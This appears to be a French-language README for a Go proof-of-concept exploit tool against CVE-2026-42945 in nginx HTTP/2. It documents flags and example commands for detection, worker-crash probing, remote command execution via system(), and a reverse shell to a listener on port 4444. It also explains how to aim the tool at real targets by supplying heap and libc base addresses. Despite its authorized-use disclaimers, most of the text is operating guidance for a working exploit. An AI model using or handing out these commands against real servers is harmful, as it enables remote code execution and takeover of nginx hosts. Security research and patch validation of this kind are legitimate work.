
Outil PoC basé sur Go pour CVE-2026-42945 (nginx HTTP/2) avec des fonctionnalités de détection, de test de plantage, d'exécution de commandes et de shell inversé dans des environnements autorisés.
Chinois | English
Outil de détection et d’exploitation auxiliaire pour la mise en œuvre de HTTP/2 dans nginx (CVE-2026-42945), destiné à vérifier la présence de la vulnérabilité dans un environnement autorisé, à comparer l’effet des correctifs et à reproduire le comportement du PoC dans un environnement de laboratoire contrôlé.
Versions affectées (estimation) : nginx 0.6.27 – 1.30.0 ; 1.30.1+ / 1.31.0+ sont corrigés.
Ce dépôt est destiné uniquement à la recherche en sécurité, à la validation de vulnérabilités et aux tests défensifs.
Si vous n’acceptez pas ces termes, cessez immédiatement l’utilisation et supprimez ce dépôt.
go.mod)make, golangci-lint (développement / vérification du code)GET /api/, POST /spray, etc.) ; les images Docker expérimentales les intègrent déjà# Construction rapide (sortie dans bin/, ignoré par .gitignore)
make build-cmd
# Ou directement avec go
go build -o ./bin/cve-2026-42945 ./cmd
# Afficher la version intégrée
./bin/cve-2026-42945 -version
Binaires publiés : Téléchargez cve-2026-42945-<os>-<arch> correspondant à votre plateforme dans les Releases (construit automatiquement par GitHub Actions après le push du tag v*).
-target string Cible IP/nom d’hôte (par défaut 127.0.0.1)
-port int Port cible (0=80 ; version Docker vuln utilise 19321)
-docker Tester l’environnement Docker local (vuln:19321, fixed:19331)
-check-only Détection uniquement, pas d’envoi de trafic d’exploitation
-probe-crash Détection de débordement + canal auxiliaire de plantage du worker
-cmd string Commande à exécuter via system()
-shell Reverse shell (nécessite -lhost)
-lhost string IP locale pour le reverse shell
-lport int Port local pour le reverse shell (par défaut 4444)
-docker-profile Utiliser les adresses de base de tas/libc réelles de deploy/docker
-heap-base string Adresse de base du tas (hexadécimal, ex. 0x555555659000)
-libc-base string Adresse de base de libc (hexadécimal)
-tries int Nombre de tentatives par candidat de tas (par défaut 10)
-timeout int Délai d’expiration HTTP en secondes (par défaut 5)
-v Sortie détaillée
-version Affiche la version puis quitte
Le mode
-dockerne peut pas être utilisé simultanément avec-cmd/-shell; pour une exploitation ciblée, spécifiez-port 19321.
./bin/cve-2026-42945 -target 192.168.1.10 -port 80 -check-only
./bin/cve-2026-42945 -port 19321 -probe-crash -v
Démarrez d’abord les conteneurs expérimentaux :
make docker-up
# ou
docker compose -f deploy/docker-compose.yml up -d --build
La première construction compile nginx, cela peut prendre plusieurs minutes ; attendez que les services soient
healthyavecdocker compose psavant d’exécutermake test-lab.
| Service | Port | Description |
|---|---|---|
| vuln | 19321 | nginx 1.30.0 (vulnérable) |
| fixed | 19331 | nginx 1.30.1 (corrigé) |
Détection en masse :
./bin/cve-2026-42945 -docker -check-only
./bin/cve-2026-42945 -docker -probe-crash
Ou utilisez les cibles rapides du Makefile :
make test-lab # check + probe
make cmd-exploit # écrit /tmp/pwned dans vuln et affiche la commande de vérification
Le conteneur expérimental, avec ASLR désactivé (setarch -R) et utilisant le profil -docker-profile prédéfini, a le meilleur taux de succès :
./bin/cve-2026-42945 -port 19321 -docker-profile \
-cmd 'echo pwned > /tmp/pwned' -v
# Vérifier l’écriture du fichier
docker exec nginx-rift-vuln-1.30.0 cat /tmp/pwned
# Terminal 1 : lancer l’outil (tentera d’écouter nc en arrière-plan)
./bin/cve-2026-42945 -port 19321 -docker-profile -shell -lhost 10.0.0.5 -lport 4444 -v
# Si nc n’est pas trouvé, ouvrez un autre terminal pour écouter manuellement :
nc -lvnp 4444
Pour des cibles réelles où ASLR, version de libc, etc. diffèrent de Docker, vous devez divulguer ou estimer les adresses de base vous-même :
# La cible doit être un port HTTP en clair (non TLS)
./bin/cve-2026-42945 -target TARGET -port 8080 \
-heap-base 0x555555659000 \
-libc-base 0x7ffff77ba000 \
-cmd 'id' -tries 20 -v
[+] Canal auxiliaire : worker anormal : Indique seulement que le worker a peut-être planté à cause d’un débordement. Ne peut pas être utilisé seul comme preuve de RCE.docker exec, etc.).cmd/ Point d’entrée principal
internal/rift/ Logique de détection, construction de charge utile et exploitation
deploy/docker/ Images Docker expérimentales nginx 1.30.0 / 1.30.1
deploy/docker-compose.yml
.github/workflows/ Construction multi-plateforme pour les Releases
make help # Afficher toutes les cibles make
make test # Tests unitaires
make lint # golangci-lint
make version # Afficher le numéro de version actuel de la construction
Publier une nouvelle version :
git tag v1.0.0
git push origin v1.0.0
Utilisez cet outil uniquement sur des systèmes que vous êtes autorisé à tester. Toute utilisation abusive est indépendante des auteurs.
| Mode | Description |
|---|
-check-only | Connectivité, en-tête Server, estimation de version, détection d’endpoint PoC |
-probe-crash | Envoi d’une tentative de débordement, jugement via le canal auxiliaire de plantage du worker |
-cmd | Construction d’une charge utile exploit, exécution d’une commande via system() |
-shell | Reverse shell (nécessite -lhost, la machine locale doit avoir nc) |
-docker | Tests en masse sur un environnement Docker local (vuln / fixed) |
| Élément | Description |
|---|
| Protocole | Prend en charge uniquement HTTP en clair (net.Dial + octets HTTP bruts), pas HTTPS/TLS. Pour un port TLS comme -port 443, une terminaison TLS préalable ou un passage par un port HTTP est nécessaire. |
| Docker expérimental | Les images sont en linux/amd64 ; la première docker compose build compile nginx à partir des sources, ce qui prend du temps ; les conteneurs utilisent setarch -R pour désactiver ASLR, ce qui diffère fortement de l’environnement de production. |
| Apple Silicon | Docker local s’exécute via platform: linux/amd64, plus lent. |
| Reverse shell | -shell dépend du nc système ; sous Windows, il est recommandé de l’écouter manuellement. |
| Validation d’exploitation | Un canal auxiliaire (plantage du worker) n’équivaut pas à une RCE ; vous devez valider indépendamment les effets secondaires de la commande. |